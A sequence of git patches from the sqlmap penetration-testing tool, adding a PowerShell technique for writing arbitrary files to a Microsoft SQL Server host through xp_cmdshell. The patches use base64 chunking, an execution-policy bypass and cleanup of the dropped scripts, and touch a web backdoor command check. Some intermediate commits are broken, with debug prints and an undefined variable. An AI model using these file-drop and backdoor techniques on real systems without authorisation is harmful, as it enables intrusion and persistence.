BACKDOOR_RUN_CMD_TIMEOUT from lib.core.settings import EVENTVALIDATION_REGEX from lib.core.settings import VIEWSTATE_REGEX @@ -346,7 +347,11 @@ class Web: testStr = "command execution test" output = self.webBackdoorRunCmd("echo %s" % testStr) - if output and testStr in output: + if output == "0": + warnMsg = "the backdoor has been uploaded but required privileges " + warnMsg += "for running the system commands are missing" + raise SqlmapNoneDataException(warnMsg) + elif output and testStr in output: infoMsg = "the backdoor has been successfully " else: infoMsg = "the backdoor has probably been successfully " From e2aed41c6fb99cf9830f9711e9e7f335d9a41e56 Mon Sep 17 00:00:00 2001 From: Bernardo Damele Date: Mon, 30 Jun 2014 17:30:20 +0100 Subject: [PATCH 344/889] minor fixed --- plugins/dbms/mssqlserver/filesystem.py | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/plugins/dbms/mssqlserver/filesystem.py b/plugins/dbms/mssqlserver/filesystem.py index 2d3f4b7b0..b02315002 100644 --- a/plugins/dbms/mssqlserver/filesystem.py +++ b/plugins/dbms/mssqlserver/filesystem.py @@ -72,7 +72,7 @@ class Filesystem(GenericFilesystem): logger.debug("generating chunk file %s\%s from debug script %s" % (tmpPath, chunkName, randScr)) - commands = ("cd %s" % tmpPath, "debug < %s" % randScr, "del /F /Q %s" % randScr) + commands = ("cd \"%s\"" % tmpPath, "debug < %s" % randScr, "del /F /Q %s" % randScr) complComm = " & ".join(command for command in commands) self.execCmd(complComm) @@ -183,7 +183,7 @@ class Filesystem(GenericFilesystem): logger.debug("converting the file utilizing PowerShell EncodedCommand") - commands = ("cd %s" % tmpPath, + commands = ("cd \"%s\"" % tmpPath, "powershell -EncodedCommand %s" % psString, "del /F /Q %s" % randFilePath) complComm = " & ".join(command for command in commands) @@ -233,14 +233,14 @@ class Filesystem(GenericFilesystem): debugMsg += "%s\%s to %s file %s\%s" % (tmpPath, chunkName, fileType, tmpPath, dFileName) logger.debug(debugMsg) - commands = ("cd %s" % tmpPath, copyCmd, "del /F %s" % chunkName) + commands = ("cd \"%s\"" % tmpPath, copyCmd, "del /F %s" % chunkName) complComm = " & ".join(command for command in commands) self.execCmd(complComm) logger.debug("moving %s file %s to %s" % (fileType, sFile, dFile)) - commands = ("cd %s" % tmpPath, "move /Y %s %s" % (dFileName, dFile)) + commands = ("cd \"%s\"" % tmpPath, "move /Y %s %s" % (dFileName, dFile)) complComm = " & ".join(command for command in commands) self.execCmd(complComm) @@ -319,7 +319,7 @@ class Filesystem(GenericFilesystem): self.xpCmdshellWriteFile(vbs, tmpPath, randVbs) - commands = ("cd %s" % tmpPath, "cscript //nologo %s" % randVbs, + commands = ("cd \"%s\"" % tmpPath, "cscript //nologo %s" % randVbs, "del /F /Q %s" % randVbs, "del /F /Q %s" % randFile) complComm = " & ".join(command for command in commands) From cd260a74708572fe398ce007e67942643cbf0fac Mon Sep 17 00:00:00 2001 From: Bernardo Damele Date: Mon, 30 Jun 2014 18:06:19 +0100 Subject: [PATCH 345/889] working on #742 - powershell support for file write on MSSQL --- plugins/dbms/mssqlserver/filesystem.py | 39 +++++++++++++++++--------- 1 file changed, 25 insertions(+), 14 deletions(-) diff --git a/plugins/dbms/mssqlserver/filesystem.py b/plugins/dbms/mssqlserver/filesystem.py index b02315002..b6fa0a224 100644 --- a/plugins/dbms/mssqlserver/filesystem.py +++ b/plugins/dbms/mssqlserver/filesystem.py @@ -165,27 +165,30 @@ class Filesystem(GenericFilesystem): def _stackedWriteFilePS(self, tmpPath, wFileContent, dFile, fileType): infoMsg = "using PowerShell to write the %s file content " % fileType - infoMsg += "to file '%s', please wait.." % dFile + #infoMsg += "to file '%s', please wait.." % dFile + infoMsg += "to file '%s'" % dFile logger.info(infoMsg) + print "tmpPath:", tmpPath + print "wFileContent:", wFileContent + print "dFile:", dFile + print "fileType:", fileType + randFile = "tmpf%s.txt" % randomStr(lowercase=True) randFilePath = "%s\%s" % (tmpPath, randFile) - encodedFileContent = hexencode(wFileContent) + encodedFileContent = base64encode(wFileContent) # TODO: need to be fixed - psString = "$s = gc '%s';$s = [string]::Join('', $s);$s = $s.Replace('`r',''); $s = $s.Replace('`n','');$b = new-object byte[] $($s.Length/2);0..$($b.Length-1) | %%{$b[$_] = [Convert]::ToByte($s.Substring($($_*2),2),16)};[IO.File]::WriteAllBytes('%s',$b)" % (randFilePath, dFile) - psString = psString.encode('utf-16le') - psString = psString.encode("base64")[:-1].replace("\n", "") + #psString = "[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String(%s)) > %s" % (encodedFileContent, dFile) + #psString = "[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String(\"%s\")) | Out-File -Encoding \"ASCII\" %s" % (encodedFileContent, dFile) + psString = "[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String(\"%s\")) > %s" % (encodedFileContent, dFile) - logger.debug("uploading the file hex-encoded content to %s, please wait.." % randFilePath) - - self.xpCmdshellWriteFile(encodedFileContent, tmpPath, randFile) - - logger.debug("converting the file utilizing PowerShell EncodedCommand") + logger.debug("converting the base64-encoded file utilizing PowerShell") commands = ("cd \"%s\"" % tmpPath, - "powershell -EncodedCommand %s" % psString, - "del /F /Q %s" % randFilePath) + "powershell -EncodedCommand %s" % base64encode(psString)) +# "powershell -EncodedCommand %s" % base64encode(psString), +# "del /F /Q %s" % randFilePath) complComm = " & ".join(command for command in commands) self.execCmd(complComm) @@ -344,12 +347,20 @@ class Filesystem(GenericFilesystem): if written is False: message = "do you want to try to upload the file with " - message += "another technique? [Y/n] " + message += "the PowerShell technique? [Y/n] " + choice = readInput(message, default="Y") + + if not choice or choice.lower() == "y": + self._stackedWriteFilePS(tmpPath, wFileContent, dFile, fileType) + written = self.askCheckWrittenFile(wFile, dFile, forceCheck) + + if written is False: + message = "do you want to try to upload the file with " + message += "the debug.exe technique? [Y/n] " choice = readInput(message, default="Y") if not choice or choice.lower() == "y": self._stackedWriteFileDebugExe(tmpPath, wFile, wFileContent, dFile, fileType) - #self._stackedWriteFilePS(tmpPath, wFileContent, dFile, fileType) written = self.askCheckWrittenFile(wFile, dFile, forceCheck) return written From 94c09019fd2b21e3b45d76f0f708d817d3e1b9b8 Mon Sep 17 00:00:00 2001 From: Bernardo Damele Date: Mon, 30 Jun 2014 18:07:45 +0100 Subject: [PATCH 346/889] working on #742 - missing import --- plugins/dbms/mssqlserver/filesystem.py | 1 + 1 file changed, 1 insertion(+) diff --git a/plugins/dbms/mssqlserver/filesystem.py b/plugins/dbms/mssqlserver/filesystem.py index b6fa0a224..8a72e63b7 100644 --- a/plugins/dbms/mssqlserver/filesystem.py +++ b/plugins/dbms/mssqlserver/filesystem.py @@ -14,6 +14,7 @@ from lib.core.common import isTechniqueAvailable from lib.core.common import posixToNtSlashes from lib.core.common import randomStr from lib.core.common import readInput +from lib.core.convert import base64encode from lib.core.convert import hexencode from lib.core.data import conf from lib.core.data import logger From 563c73c4c7c1674f638716a0ca6f681db11a8bba Mon Sep 17 00:00:00 2001 From: Bernardo Damele Date: Mon, 30 Jun 2014 18:09:11 +0100 Subject: [PATCH 347/889] working on #742 - code cleanup --- plugins/dbms/mssqlserver/filesystem.py | 7 +------ 1 file changed, 1 insertion(+), 6 deletions(-) diff --git a/plugins/dbms/mssqlserver/filesystem.py b/plugins/dbms/mssqlserver/filesystem.py index 8a72e63b7..bcc43dce0 100644 --- a/plugins/dbms/mssqlserver/filesystem.py +++ b/plugins/dbms/mssqlserver/filesystem.py @@ -175,8 +175,6 @@ class Filesystem(GenericFilesystem): print "dFile:", dFile print "fileType:", fileType - randFile = "tmpf%s.txt" % randomStr(lowercase=True) - randFilePath = "%s\%s" % (tmpPath, randFile) encodedFileContent = base64encode(wFileContent) # TODO: need to be fixed @@ -186,10 +184,7 @@ class Filesystem(GenericFilesystem): logger.debug("converting the base64-encoded file utilizing PowerShell") - commands = ("cd \"%s\"" % tmpPath, - "powershell -EncodedCommand %s" % base64encode(psString)) -# "powershell -EncodedCommand %s" % base64encode(psString), -# "del /F /Q %s" % randFilePath) + commands = ("cd \"%s\"" % tmpPath, "powershell -EncodedCommand %s" % base64encode(psString)) complComm = " & ".join(command for command in commands) self.execCmd(complComm) From aa076013a74f2acb0dbc4366e7ba412e95be3e3b Mon Sep 17 00:00:00 2001 From: Bernardo Damele Date: Mon, 30 Jun 2014 18:18:14 +0100 Subject: [PATCH 348/889] working on #742 - minor fixes --- plugins/dbms/mssqlserver/filesystem.py | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/plugins/dbms/mssqlserver/filesystem.py b/plugins/dbms/mssqlserver/filesystem.py index bcc43dce0..9b2bdeb6c 100644 --- a/plugins/dbms/mssqlserver/filesystem.py +++ b/plugins/dbms/mssqlserver/filesystem.py @@ -181,10 +181,14 @@ class Filesystem(GenericFilesystem): #psString = "[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String(%s)) > %s" % (encodedFileContent, dFile) #psString = "[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String(\"%s\")) | Out-File -Encoding \"ASCII\" %s" % (encodedFileContent, dFile) psString = "[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String(\"%s\")) > %s" % (encodedFileContent, dFile) + psString = psString.encode('utf-16le') + psString = base64encode(psString) - logger.debug("converting the base64-encoded file utilizing PowerShell") + print "psString:", psString - commands = ("cd \"%s\"" % tmpPath, "powershell -EncodedCommand %s" % base64encode(psString)) + logger.debug("executing the base64-encoded PowerShell command to write the file") + + commands = ("cd \"%s\"" % tmpPath, "powershell -EncodedCommand %s" % psString) complComm = " & ".join(command for command in commands) self.execCmd(complComm) From 6999c3413c5a94336f3c202c3b74e21223ce8c1d Mon Sep 17 00:00:00 2001 From: Bernardo Damele Date: Mon, 30 Jun 2014 18:26:40 +0100 Subject: [PATCH 349/889] working on #742 - working on it --- plugins/dbms/mssqlserver/filesystem.py | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) diff --git a/plugins/dbms/mssqlserver/filesystem.py b/plugins/dbms/mssqlserver/filesystem.py index 9b2bdeb6c..861f7a0fd 100644 --- a/plugins/dbms/mssqlserver/filesystem.py +++ b/plugins/dbms/mssqlserver/filesystem.py @@ -170,7 +170,9 @@ class Filesystem(GenericFilesystem): infoMsg += "to file '%s'" % dFile logger.info(infoMsg) - print "tmpPath:", tmpPath + randPSScript = "tmpf%s.ps1" % randomStr(lowercase=True) + randPSScriptPath = "%s\%s" % (tmpPath, randPSScript) + print "wFileContent:", wFileContent print "dFile:", dFile print "fileType:", fileType @@ -181,14 +183,14 @@ class Filesystem(GenericFilesystem): #psString = "[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String(%s)) > %s" % (encodedFileContent, dFile) #psString = "[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String(\"%s\")) | Out-File -Encoding \"ASCII\" %s" % (encodedFileContent, dFile) psString = "[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String(\"%s\")) > %s" % (encodedFileContent, dFile) - psString = psString.encode('utf-16le') - psString = base64encode(psString) - print "psString:", psString + logger.debug("uploading the PowerShell script to %s, please wait.." % randPSScriptPath) - logger.debug("executing the base64-encoded PowerShell command to write the file") + self.xpCmdshellWriteFile(psString, tmpPath, randPSScriptPath) - commands = ("cd \"%s\"" % tmpPath, "powershell -EncodedCommand %s" % psString) + logger.debug("executing the PowerShell script to write the %s file" % dFile) + + commands = ("powershell -File %s" % randPSScriptPath) complComm = " & ".join(command for command in commands) self.execCmd(complComm) From f0e23c94416682233fb8fe139267ee2e8a53785b Mon Sep 17 00:00:00 2001 From: Conny Brunnkvist Date: Tue, 1 Jul 2014 00:27:14 +0700 Subject: [PATCH 350/889] Use the selected random User-Agent --- lib/core/option.py | 2 ++ 1 file changed, 2 insertions(+) diff --git a/lib/core/option.py b/lib/core/option.py index c4b4ab868..c9fe326fa 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -1338,6 +1338,8 @@ def _setHTTPUserAgent(): infoMsg = "fetched random HTTP User-Agent header from " infoMsg += "file '%s': %s" % (paths.USER_AGENTS, userAgent) logger.info(infoMsg) + + conf.httpHeaders.append((HTTP_HEADER.USER_AGENT, userAgent)) def _setHTTPReferer(): """ From 4be0b366ebe82ba1d9aa81c15fdbc0faf18b7775 Mon Sep 17 00:00:00 2001 From: Bernardo Damele Date: Mon, 30 Jun 2014 18:38:18 +0100 Subject: [PATCH 351/889] working on #742 - working on it --- plugins/dbms/mssqlserver/filesystem.py | 9 +++------ 1 file changed, 3 insertions(+), 6 deletions(-) diff --git a/plugins/dbms/mssqlserver/filesystem.py b/plugins/dbms/mssqlserver/filesystem.py index 861f7a0fd..0171a3b4f 100644 --- a/plugins/dbms/mssqlserver/filesystem.py +++ b/plugins/dbms/mssqlserver/filesystem.py @@ -182,18 +182,15 @@ class Filesystem(GenericFilesystem): # TODO: need to be fixed #psString = "[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String(%s)) > %s" % (encodedFileContent, dFile) #psString = "[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String(\"%s\")) | Out-File -Encoding \"ASCII\" %s" % (encodedFileContent, dFile) - psString = "[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String(\"%s\")) > %s" % (encodedFileContent, dFile) + psString = "[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String(\"%s\")) ^> %s" % (encodedFileContent, dFile) logger.debug("uploading the PowerShell script to %s, please wait.." % randPSScriptPath) - self.xpCmdshellWriteFile(psString, tmpPath, randPSScriptPath) + self.xpCmdshellWriteFile(psString, tmpPath, randPSScript) logger.debug("executing the PowerShell script to write the %s file" % dFile) - commands = ("powershell -File %s" % randPSScriptPath) - complComm = " & ".join(command for command in commands) - - self.execCmd(complComm) + self.execCmd("powershell -File \"%s\"" % randPSScriptPath) def _stackedWriteFileDebugExe(self, tmpPath, wFile, wFileContent, dFile, fileType): infoMsg = "using debug.exe to write the %s " % fileType From fcc50193b3e09279df1301d141a574f850a1dc1b Mon Sep 17 00:00:00 2001 From: Bernardo Damele Date: Mon, 30 Jun 2014 18:50:33 +0100 Subject: [PATCH 352/889] working on #742 - working on it --- plugins/dbms/mssqlserver/filesystem.py | 15 +++------------ 1 file changed, 3 insertions(+), 12 deletions(-) diff --git a/plugins/dbms/mssqlserver/filesystem.py b/plugins/dbms/mssqlserver/filesystem.py index 0171a3b4f..9e5183578 100644 --- a/plugins/dbms/mssqlserver/filesystem.py +++ b/plugins/dbms/mssqlserver/filesystem.py @@ -173,24 +173,15 @@ class Filesystem(GenericFilesystem): randPSScript = "tmpf%s.ps1" % randomStr(lowercase=True) randPSScriptPath = "%s\%s" % (tmpPath, randPSScript) - print "wFileContent:", wFileContent - print "dFile:", dFile - print "fileType:", fileType - encodedFileContent = base64encode(wFileContent) - - # TODO: need to be fixed - #psString = "[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String(%s)) > %s" % (encodedFileContent, dFile) - #psString = "[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String(\"%s\")) | Out-File -Encoding \"ASCII\" %s" % (encodedFileContent, dFile) - psString = "[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String(\"%s\")) ^> %s" % (encodedFileContent, dFile) + #psString = "[System.Text.Encoding]::Default.GetString([System.Convert]::FromBase64String(\"%s\")) | Out-File \"%s\"" % (encodedFileContent, dFile) + psString = "[System.Text.Encoding]::Default.GetString([System.Convert]::FromBase64String(\"%s\")) ^> \"%s\"" % (encodedFileContent, dFile) logger.debug("uploading the PowerShell script to %s, please wait.." % randPSScriptPath) - self.xpCmdshellWriteFile(psString, tmpPath, randPSScript) logger.debug("executing the PowerShell script to write the %s file" % dFile) - - self.execCmd("powershell -File \"%s\"" % randPSScriptPath) + self.execCmd("powershell -ExecutionPolicy ByPass -File \"%s\"" % randPSScriptPath) def _stackedWriteFileDebugExe(self, tmpPath, wFile, wFileContent, dFile, fileType): infoMsg = "using debug.exe to write the %s " % fileType From 5c4c4c6abed9fc8ab65a78f7e313e3e089d9cd93 Mon Sep 17 00:00:00 2001 From: Bernardo Damele Date: Mon, 30 Jun 2014 19:11:01 +0100 Subject: [PATCH 353/889] minor cleanup, prefer powershell to the other two techniques to upload files - issue #742 --- plugins/dbms/mssqlserver/filesystem.py | 9 ++++----- 1 file changed, 4 insertions(+), 5 deletions(-) diff --git a/plugins/dbms/mssqlserver/filesystem.py b/plugins/dbms/mssqlserver/filesystem.py index 9e5183578..9a2c6cfd4 100644 --- a/plugins/dbms/mssqlserver/filesystem.py +++ b/plugins/dbms/mssqlserver/filesystem.py @@ -166,7 +166,6 @@ class Filesystem(GenericFilesystem): def _stackedWriteFilePS(self, tmpPath, wFileContent, dFile, fileType): infoMsg = "using PowerShell to write the %s file content " % fileType - #infoMsg += "to file '%s', please wait.." % dFile infoMsg += "to file '%s'" % dFile logger.info(infoMsg) @@ -332,21 +331,21 @@ class Filesystem(GenericFilesystem): with open(wFile, "rb") as f: wFileContent = f.read() - self._stackedWriteFileVbs(tmpPath, wFileContent, dFile, fileType) + self._stackedWriteFilePS(tmpPath, wFileContent, dFile, fileType) written = self.askCheckWrittenFile(wFile, dFile, forceCheck) if written is False: message = "do you want to try to upload the file with " - message += "the PowerShell technique? [Y/n] " + message += "the custom Visual Basic script technique? [Y/n] " choice = readInput(message, default="Y") if not choice or choice.lower() == "y": - self._stackedWriteFilePS(tmpPath, wFileContent, dFile, fileType) + self._stackedWriteFileVbs(tmpPath, wFileContent, dFile, fileType) written = self.askCheckWrittenFile(wFile, dFile, forceCheck) if written is False: message = "do you want to try to upload the file with " - message += "the debug.exe technique? [Y/n] " + message += "the built-in debug.exe technique? [Y/n] " choice = readInput(message, default="Y") if not choice or choice.lower() == "y": From 9c583bc96e61b651396899b82325588a3bf46980 Mon Sep 17 00:00:00 2001 From: Bernardo Damele Date: Mon, 30 Jun 2014 20:23:01 +0100 Subject: [PATCH 354/889] trying some more encoding as the file wasnt exactly the same - issue #742 --- plugins/dbms/mssqlserver/filesystem.py | 10 ++++++++++ 1 file changed, 10 insertions(+) diff --git a/plugins/dbms/mssqlserver/filesystem.py b/plugins/dbms/mssqlserver/filesystem.py index 9a2c6cfd4..0b3be8c67 100644 --- a/plugins/dbms/mssqlserver/filesystem.py +++ b/plugins/dbms/mssqlserver/filesystem.py @@ -175,6 +175,16 @@ class Filesystem(GenericFilesystem): encodedFileContent = base64encode(wFileContent) #psString = "[System.Text.Encoding]::Default.GetString([System.Convert]::FromBase64String(\"%s\")) | Out-File \"%s\"" % (encodedFileContent, dFile) psString = "[System.Text.Encoding]::Default.GetString([System.Convert]::FromBase64String(\"%s\")) ^> \"%s\"" % (encodedFileContent, dFile) + #psString = "[System.Text.Encoding]::UTF8.GetBytes([System.Convert]::FromBase64String(\"%s\")) | Out-File \"%s\"" % (encodedFileContent, dFile) + #psString = "[System.Text.Encoding]::UTF8.GetBytes([System.Convert]::FromBase64String(\"%s\")) ^> \"%s\"" % (encodedFileContent, dFile) + #psString = """$Content = Get-Content -Path %s -Encoding Byte + #$Base64 = [System.Convert]::ToBase64String($Content) + psString = """ + $Base64 = [System.Convert]::ToBase64String($Content) + $Content = [System.Convert]::FromBase64String("%s") + Set-Content -Path %s -Value $Content -Encoding Byte + """ % (encodedFileContent, randPSScriptPath) + psString = binToHexQuery.replace(" ", "").replace("\n", ";") logger.debug("uploading the PowerShell script to %s, please wait.." % randPSScriptPath) self.xpCmdshellWriteFile(psString, tmpPath, randPSScript) From 3ec37b14a62164b8fd0cd25bfe6ad646f101b8e2 Mon Sep 17 00:00:00 2001 From: Bernardo Damele Date: Mon, 30 Jun 2014 20:23:57 +0100 Subject: [PATCH 355/889] trying some more encoding as the file wasnt exactly the same - issue #742 --- plugins/dbms/mssqlserver/filesystem.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/plugins/dbms/mssqlserver/filesystem.py b/plugins/dbms/mssqlserver/filesystem.py index 0b3be8c67..cfa11ac17 100644 --- a/plugins/dbms/mssqlserver/filesystem.py +++ b/plugins/dbms/mssqlserver/filesystem.py @@ -184,7 +184,8 @@ class Filesystem(GenericFilesystem): $Content = [System.Convert]::FromBase64String("%s") Set-Content -Path %s -Value $Content -Encoding Byte """ % (encodedFileContent, randPSScriptPath) - psString = binToHexQuery.replace(" ", "").replace("\n", ";") + + psString = psString.replace(" ", "").replace("\n", ";") logger.debug("uploading the PowerShell script to %s, please wait.." % randPSScriptPath) self.xpCmdshellWriteFile(psString, tmpPath, randPSScript) From ce67156d8097cb2152256f9c0f0bc45a81914181 Mon Sep 17 00:00:00 2001 From: Bernardo Damele Date: Mon, 30 Jun 2014 20:26:05 +0100 Subject: [PATCH 356/889] trying some more encoding as the file wasnt exactly the same - issue #742 --- plugins/dbms/mssqlserver/filesystem.py | 1 - 1 file changed, 1 deletion(-) diff --git a/plugins/dbms/mssqlserver/filesystem.py b/plugins/dbms/mssqlserver/filesystem.py index cfa11ac17..4cb3a7440 100644 --- a/plugins/dbms/mssqlserver/filesystem.py +++ b/plugins/dbms/mssqlserver/filesystem.py @@ -180,7 +180,6 @@ class Filesystem(GenericFilesystem): #psString = """$Content = Get-Content -Path %s -Encoding Byte #$Base64 = [System.Convert]::ToBase64String($Content) psString = """ - $Base64 = [System.Convert]::ToBase64String($Content) $Content = [System.Convert]::FromBase64String("%s") Set-Content -Path %s -Value $Content -Encoding Byte """ % (encodedFileContent, randPSScriptPath) From 0c1b3f2dbccc580e3706d37e6ba59e29352cdcae Mon Sep 17 00:00:00 2001 From: Bernardo Damele Date: Mon, 30 Jun 2014 20:39:21 +0100 Subject: [PATCH 357/889] more on issue #742 --- plugins/dbms/mssqlserver/filesystem.py | 13 +------------ 1 file changed, 1 insertion(+), 12 deletions(-) diff --git a/plugins/dbms/mssqlserver/filesystem.py b/plugins/dbms/mssqlserver/filesystem.py index 4cb3a7440..5bfd4cd5d 100644 --- a/plugins/dbms/mssqlserver/filesystem.py +++ b/plugins/dbms/mssqlserver/filesystem.py @@ -173,18 +173,7 @@ class Filesystem(GenericFilesystem): randPSScriptPath = "%s\%s" % (tmpPath, randPSScript) encodedFileContent = base64encode(wFileContent) - #psString = "[System.Text.Encoding]::Default.GetString([System.Convert]::FromBase64String(\"%s\")) | Out-File \"%s\"" % (encodedFileContent, dFile) - psString = "[System.Text.Encoding]::Default.GetString([System.Convert]::FromBase64String(\"%s\")) ^> \"%s\"" % (encodedFileContent, dFile) - #psString = "[System.Text.Encoding]::UTF8.GetBytes([System.Convert]::FromBase64String(\"%s\")) | Out-File \"%s\"" % (encodedFileContent, dFile) - #psString = "[System.Text.Encoding]::UTF8.GetBytes([System.Convert]::FromBase64String(\"%s\")) ^> \"%s\"" % (encodedFileContent, dFile) - #psString = """$Content = Get-Content -Path %s -Encoding Byte - #$Base64 = [System.Convert]::ToBase64String($Content) - psString = """ - $Content = [System.Convert]::FromBase64String("%s") - Set-Content -Path %s -Value $Content -Encoding Byte - """ % (encodedFileContent, randPSScriptPath) - - psString = psString.replace(" ", "").replace("\n", ";") + psString = "$Content = [System.Convert]::FromBase64String(\"%s\"); Set-Content -Path \"%s\" -Value $Content -Encoding Byte" % (encodedFileContent, dFile) logger.debug("uploading the PowerShell script to %s, please wait.." % randPSScriptPath) self.xpCmdshellWriteFile(psString, tmpPath, randPSScript) From 8ce98ae22ca7b5e82bf9c062bfe06449d069f976 Mon Sep 17 00:00:00 2001 From: Bernardo Damele Date: Mon, 30 Jun 2014 20:43:02 +0100 Subject: [PATCH 358/889] more on issue #742 --- plugins/dbms/mssqlserver/filesystem.py | 9 +++++++-- 1 file changed, 7 insertions(+), 2 deletions(-) diff --git a/plugins/dbms/mssqlserver/filesystem.py b/plugins/dbms/mssqlserver/filesystem.py index 5bfd4cd5d..83b7faf64 100644 --- a/plugins/dbms/mssqlserver/filesystem.py +++ b/plugins/dbms/mssqlserver/filesystem.py @@ -179,7 +179,12 @@ class Filesystem(GenericFilesystem): self.xpCmdshellWriteFile(psString, tmpPath, randPSScript) logger.debug("executing the PowerShell script to write the %s file" % dFile) - self.execCmd("powershell -ExecutionPolicy ByPass -File \"%s\"" % randPSScriptPath) + + commands = ("powershell -ExecutionPolicy ByPass -File \"%s\"" % randPSScriptPath, + "del /F /Q \"%s\"" % (randPSScriptPath, randPSScriptPath)) + complComm = " & ".join(command for command in commands) + + self.execCmd(complComm) def _stackedWriteFileDebugExe(self, tmpPath, wFile, wFileContent, dFile, fileType): infoMsg = "using debug.exe to write the %s " % fileType @@ -224,7 +229,7 @@ class Filesystem(GenericFilesystem): debugMsg += "%s\%s to %s file %s\%s" % (tmpPath, chunkName, fileType, tmpPath, dFileName) logger.debug(debugMsg) - commands = ("cd \"%s\"" % tmpPath, copyCmd, "del /F %s" % chunkName) + commands = ("cd \"%s\"" % tmpPath, copyCmd, "del /F /Q %s" % chunkName) complComm = " & ".join(command for command in commands) self.execCmd(complComm) From 1218e694ef69473c50c05c63c17d7ca57c64aeb8 Mon Sep 17 00:00:00 2001 From: Bernardo Damele Date: Mon, 30 Jun 2014 20:43:48 +0100 Subject: [PATCH 359/889] more on issue #742 --- plugins/dbms/mssqlserver/filesystem.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/plugins/dbms/mssqlserver/filesystem.py b/plugins/dbms/mssqlserver/filesystem.py index 83b7faf64..6bc5fe936 100644 --- a/plugins/dbms/mssqlserver/filesystem.py +++ b/plugins/dbms/mssqlserver/filesystem.py @@ -181,7 +181,7 @@ class Filesystem(GenericFilesystem): logger.debug("executing the PowerShell script to write the %s file" % dFile) commands = ("powershell -ExecutionPolicy ByPass -File \"%s\"" % randPSScriptPath, - "del /F /Q \"%s\"" % (randPSScriptPath, randPSScriptPath)) + "del /F /Q \"%s\"" % randPSScriptPath) complComm = " & ".join(command for command in commands) self.execCmd(complComm) From 3e431ec2022d2bfdda36a199e0395fe451b255be Mon Sep 17 00:00:00 2001 From: Bernardo Damele Date: Mon, 30 Jun 2014 23:53:04 +0100 Subject: [PATCH 360/889] working on allowing large files to be uploaded via powershell - issue #742 --- plugins/dbms/mssqlserver/filesystem.py | 26 ++++++++++++++++++++------ 1 file changed, 20 insertions(+), 6 deletions(-) diff --git a/plugins/dbms/mssqlserver/filesystem.py b/plugins/dbms/mssqlserver/filesystem.py index 6bc5fe936..a59c67c03 100644 --- a/plugins/dbms/mssqlserver/filesystem.py +++ b/plugins/dbms/mssqlserver/filesystem.py @@ -169,16 +169,31 @@ class Filesystem(GenericFilesystem): infoMsg += "to file '%s'" % dFile logger.info(infoMsg) + encodedFileContent = base64encode(wFileContent) + encodedBase64File = "tmpf%s.txt" % randomStr(lowercase=True) + encodedBase64FilePath = "%s\%s" % (tmpPath, encodedBase64File) + randPSScript = "tmpf%s.ps1" % randomStr(lowercase=True) randPSScriptPath = "%s\%s" % (tmpPath, randPSScript) - encodedFileContent = base64encode(wFileContent) - psString = "$Content = [System.Convert]::FromBase64String(\"%s\"); Set-Content -Path \"%s\" -Value $Content -Encoding Byte" % (encodedFileContent, dFile) + wFileSize = len(wFileContent) + chunkMaxSize = 1024 - logger.debug("uploading the PowerShell script to %s, please wait.." % randPSScriptPath) + logger.debug("uploading the base64-encoded file to %s, please wait.." % encodedBase64FilePath) + + for i in xrange(0, wFileSize, chunkMaxSize): + wEncodedChunk = encodedFileContent[i:i + chunkMaxSize] + self.xpCmdshellWriteFile(wEncodedChunk, tmpPath, encodedBase64File) + + #psString = "$Content = [System.Convert]::FromBase64String(\"%s\"); Set-Content -Path \"%s\" -Value $Content -Encoding Byte" % (encodedFileContent, dFile) + psString = "$Base64 = Get-Content -Path %s; $Content = " % encodedBase64FilePath + psString += "[System.Convert]::FromBase64String($Base64); Set-Content " + psString += "-Path %s -Value $Content -Encoding Byte" % dFile + + logger.debug("uploading the PowerShell base64-decoding script to %s, please wait.." % randPSScriptPath) self.xpCmdshellWriteFile(psString, tmpPath, randPSScript) - logger.debug("executing the PowerShell script to write the %s file" % dFile) + logger.debug("executing the PowerShell base64-decoding script to write the %s file" % dFile) commands = ("powershell -ExecutionPolicy ByPass -File \"%s\"" % randPSScriptPath, "del /F /Q \"%s\"" % randPSScriptPath) @@ -207,7 +222,6 @@ class Filesystem(GenericFilesystem): complComm = " & ".join(command for command in commands) self.execCmd(complComm) - else: debugMsg = "the file is larger than %d bytes. " % debugSize debugMsg += "sqlmap will split it into chunks locally, upload " @@ -305,7 +319,7 @@ class Filesystem(GenericFilesystem): End Function""" % (randFilePath, dFile) vbs = vbs.replace(" ", "") - encodedFileContent = wFileContent.encode("base64")[:-1] + encodedFileContent = base64encode(wFileContent) logger.debug("uploading the file base64-encoded content to %s, please wait.." % randFilePath) From 5c64a31a9c59c680e4f28746cbe451170b9029b8 Mon Sep 17 00:00:00 2001 From: Bernardo Damele Date: Tue, 1 Jul 2014 00:26:59 +0100 Subject: [PATCH 361/889] works now.. can upload arbitrary files via powershell now, closes #742 --- plugins/dbms/mssqlserver/filesystem.py | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/plugins/dbms/mssqlserver/filesystem.py b/plugins/dbms/mssqlserver/filesystem.py index a59c67c03..69a76340e 100644 --- a/plugins/dbms/mssqlserver/filesystem.py +++ b/plugins/dbms/mssqlserver/filesystem.py @@ -173,10 +173,10 @@ class Filesystem(GenericFilesystem): encodedBase64File = "tmpf%s.txt" % randomStr(lowercase=True) encodedBase64FilePath = "%s\%s" % (tmpPath, encodedBase64File) - randPSScript = "tmpf%s.ps1" % randomStr(lowercase=True) + randPSScript = "tmpps%s.ps1" % 